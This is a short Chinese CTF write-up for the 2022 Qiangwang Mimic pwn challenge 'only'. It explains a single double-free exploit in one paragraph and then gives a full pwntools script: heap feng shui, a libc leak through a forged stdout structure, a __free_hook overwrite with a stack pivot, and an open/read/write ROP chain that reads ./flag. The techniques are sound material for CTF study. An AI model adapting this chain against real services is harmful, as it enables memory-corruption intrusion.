2022强网拟态 only
比赛的时候没做得出来,赛后复现一下。只有一次double free的机会,好在用的是seccomp开的沙盒,使得一开始就有很多空闲堆块,里面也残留有libc指针,通过堆风水去打stdout泄露libc,然后劫持__free_hook进行栈迁移即可。
exp:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#s = process('./only')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def init(size):
s.sendlineafter(b'Choice >> ', b'0')
s.sendlineafter(b'Size:', str(size))
def add(size,content):
s.sendlineafter(b'Choice >> ', b'1')
s.sendlineafter(b'Size:', str(size))
s.sendafter(b'Content:', content)
def delete():
s.sendlineafter(b'Choice >> ', b'2')
def exp():
add(0xe0, b'a\n')
delete()
s.sendlineafter(b'Choice >> ', b'0')
delete()
add(0xe0, b'\xf0\x97\n')
add(0xe0, b'\xf0\x97\n')
add(0xe0, p64(0) + p64(0x491) + b'\x00\x98\n')
add(0x60, b'\n')
delete()
add(0x30, b'\xa0\xc6\n')
add(0x60, b'\n')
payload = p64(0xfbad1887) + p64(0)*3 + b'\x00\n'
add(0x60, payload)
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ec980
success('libc_base=>' + hex(libc_base))
magic_gadget1 = libc_base + 0x0000000000151990
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic_gadget2 = libc_base + 0x000000000005b4d0
# mov rsp, rdx; ret;
__free_hook = libc_base + libc.sym['__free_hook']
pop_rdi_ret = libc_base + 0x0000000000023b6a
pop_rsi_ret = libc_base + 0x000000000002601f
pop_rdx_ret = libc_base + 0x0000000000142c92
payload = p64(0)*5 + p64(0x81) + p64(__free_hook) + b'\n'
add(0xe0, payload)
add(0x70, p64(0) + b'\n')
payload = p64(magic_gadget1) + p64(__free_hook+0x10) + p64(libc_base + libc.sym['gets']) + p64(0)*3 + p64(magic_gadget2) + b'\n'
add(0x70, payload)
#gdb.attach(s)
#pause()
delete()
payload = p64(0)*2 + b'./flag\x00\x00'
payload+= p64(pop_rdi_ret) + p64(__free_hook+0x10) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(libc_base + libc.sym['open'])
payload+= p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(__free_hook) + p64(pop_rdx_ret) + p64(0x30) + p64(libc_base + libc.sym['read'])
payload+= p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(__free_hook) + p64(pop_rdx_ret) + p64(0x30) + p64(libc_base + libc.sym['write'])
s.sendline(payload)
if __name__ == "__main__":
while True:
try:
s = process('./only',timeout=1)
exp()
ss = s.recv()
assert(b'flag' in ss)
print(ss)
s.interactive()
except Exception:
s.close()
作者:{狒猩橙}